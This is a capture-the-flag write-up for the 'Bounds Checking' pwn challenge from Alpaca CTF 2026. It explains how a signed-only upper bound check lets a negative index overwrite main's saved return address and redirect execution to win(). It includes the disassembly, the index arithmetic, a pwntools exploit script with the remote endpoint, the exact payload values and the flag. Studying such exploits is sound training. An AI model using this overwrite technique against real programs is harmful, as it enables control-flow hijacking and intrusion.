Alpaca CTF 2026: Bounds Checking
Challenge Information
| Attribute | Details |
|---|---|
| Event | Alpaca CTF 2026 |
| Category | Pwn |
| Difficulty | Hard |
| Author | rsk0315 |
| Challenge | Bounds Checking |
| Remote | nc 34.170.146.252 22958 |
Summary
The binary reads a signed long index into a fixed-size stack array, but only validates the upper bound (index >= 0x100). A negative index bypasses the check entirely and allows an arbitrary 8-byte stack write. By picking an index that lands precisely on the saved return address of main, we overwrite it with the address of win() — a function that opens and prints the flag. The binary is built No PIE, making win’s address a compile-time constant. A stack canary is present but never touched because our write targets a slot above it.
Binary Properties
checksec --file=chal| Property | Value |
|---|---|
| Arch | amd64-64-little |
| RELRO | Partial |
| Stack | Canary found |
| NX | Enabled |
| PIE | No PIE (base 0x400000) |
| SHSTK/IBT | Marked in ELF (not enforced on default Ubuntu 24.04 kernel) |
No PIE means all symbol addresses are static and readable from nm/objdump without needing an info leak.
Source Review (main.c)
void win(void) { /* opens flag.txt, prints it, exit(0) */ }
int main(void) { long array[0x100] = {}; // 256 longs on the stack (2048 bytes)
long index = 0; scanf("%ld", &index); if (index >= 0x100) { exit(1); } // <-- only upper bound is checked!
long value = 0; scanf("%ld", &value); array[index] = value; // OOB write if index < 0}The Vulnerability
The bounds check if (index >= 0x100) uses a signed comparison — it only rejects values of 0x100 or greater. A negative index is a valid long that passes the check, turning array[index] = value into a write at &array[0] + 8 * index, which is below array[0] in memory (i.e., further up the stack toward saved registers).
Static Analysis
Key Symbols
$ nm chal | grep -E 'win|main'0000000000401236 T win000000000040129b T mainwin is at 0x401236 — fixed, no ASLR to worry about.
Stack Layout of main (from disassembly)
sub rsp, 0x820 ; total frame: 2080 bytesmov fs:[0x28] -> [rbp - 8] ; canary stored at rbp-8lea rdx, [rbp - 0x810] ; &array[0] = rbp - 0x810rep stosq (256 longs) ; zero-initialise array[rbp - 0x820] = index ; local var: index[rbp - 0x818] = value ; local var: value; ...cmp rax, 0xff ; signed check (jle, not jbe); write: mov [rbp + rax*8 - 0x810], rdx; canary check; leave; retVisualised:
Address Content───────────────────────────────rbp + 8 → saved RIP ← TARGETrbp + 0 → saved RBPrbp - 8 → canaryrbp - 0x10 → (padding)rbp - 0x18 → array[0xff] ...rbp - 0x810 → array[0]rbp - 0x818 → valuerbp - 0x820 → index ← rspExploit Math
The write instruction is effectively:
destination = rbp + 8 * index - 0x810We want destination == rbp + 8 (the saved RIP slot). Solving:
rbp + 8 * index - 0x810 = rbp + 88 * index = 0x818index = 0x103 = 259But 259 ≥ 0x100, so the bounds check blocks it.
Bypassing the Check With Modular Arithmetic
The address computation is done in a 64-bit register, so it wraps modulo 2⁶⁴. Any index satisfying:
8 * index ≡ 0x818 (mod 2⁶⁴)hits the same destination. Dividing both sides by 8 (valid since 8 | 0x818):
index ≡ 0x103 (mod 2⁶¹)Candidate values for k = -1 (the smallest magnitude negative solution):
index = 0x103 - 2⁶¹ = -2305843009213693693This is negative, so cmp rax, 0xff; jle branches over the exit — the check passes.
Why the Canary Is Not a Problem
The canary lives at [rbp - 8], and the saved RIP is at [rbp + 8]. Our single 8-byte write targets exactly [rbp + 8], skipping the canary slot entirely. The canary check at function exit reads an untouched value and succeeds; ret fires with our hijacked address.
Solution
Payload Values
| Input | Value | Why |
|---|---|---|
index | -2305843009213693693 | 0x103 - 2⁶¹ — negative, bypasses check, hits saved RIP |
value | 4198966 | 0x401236 in decimal — &win, scanf("%ld") is decimal-only |
Gotcha:
scanf("%ld")cannot parse hex (0x401236) or symbolic names. Always convert to decimal.
Manual Exploit (netcat)
$ nc 34.170.146.252 22958-23058430092136936934198966Alpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}exploit.py (pwntools)
from pwn import *
HOST, PORT = "34.170.146.252", 22958
WIN = 0x401236# index = 0x103 - 2**61 (hits saved RIP, negative so bounds check passes)INDEX = 0x103 - (1 << 61)
io = remote(HOST, PORT)io.sendline(str(INDEX).encode())io.sendline(str(WIN).encode())io.interactive()Expected output:
[+] Opening connection to 34.170.146.252 on port 22958: Done[*] Switching to interactive modeAlpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}Flag
Alpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}Key Takeaways
jlevsjbe:jle(“jump if less-or-equal”) is a signed comparison;jbe(“jump if below-or-equal”) is unsigned. A bounds check withjledoes not reject negative indices — always verify which variant the compiler emits.- Negative index + 64-bit pointer math = arbitrary write: Even when only a few kilobytes of array are visible, 64-bit modular wrapping lets a negative index reach any 8-byte-aligned address in the process address space.
- Stack canary ≠ blanket protection: The canary guards its own slot. If you can write to a higher address (saved RIP) without crossing the canary, it never triggers. Canaries are not a substitute for proper bounds checking.
- No PIE = free address constant: Without position-independent code, all symbol addresses are known at compile time. No info leak required.
scanf("%ld")is decimal-only: Hex literals and symbol names don’t parse. Always convert to decimal when crafting manual payloads.
Tools Used
- checksec: Binary protections enumeration
- nm / objdump: Symbol addresses and disassembly
- pwntools: Remote interaction and exploit automation
- Python 3: Arithmetic for negative-index calculation
References
- CWE-125 / CWE-787 — Out-of-bounds Read/Write: https://cwe.mitre.org/data/definitions/787.html
- x86-64 Signed vs Unsigned Conditional Jumps: https://www.felixcloutier.com/x86/jcc
- Stack Canary Internals: https://ctf101.org/binary-exploitation/stack-canaries/
- ret2win Technique: https://ir0nstone.gitbook.io/notes/types/stack/ret2win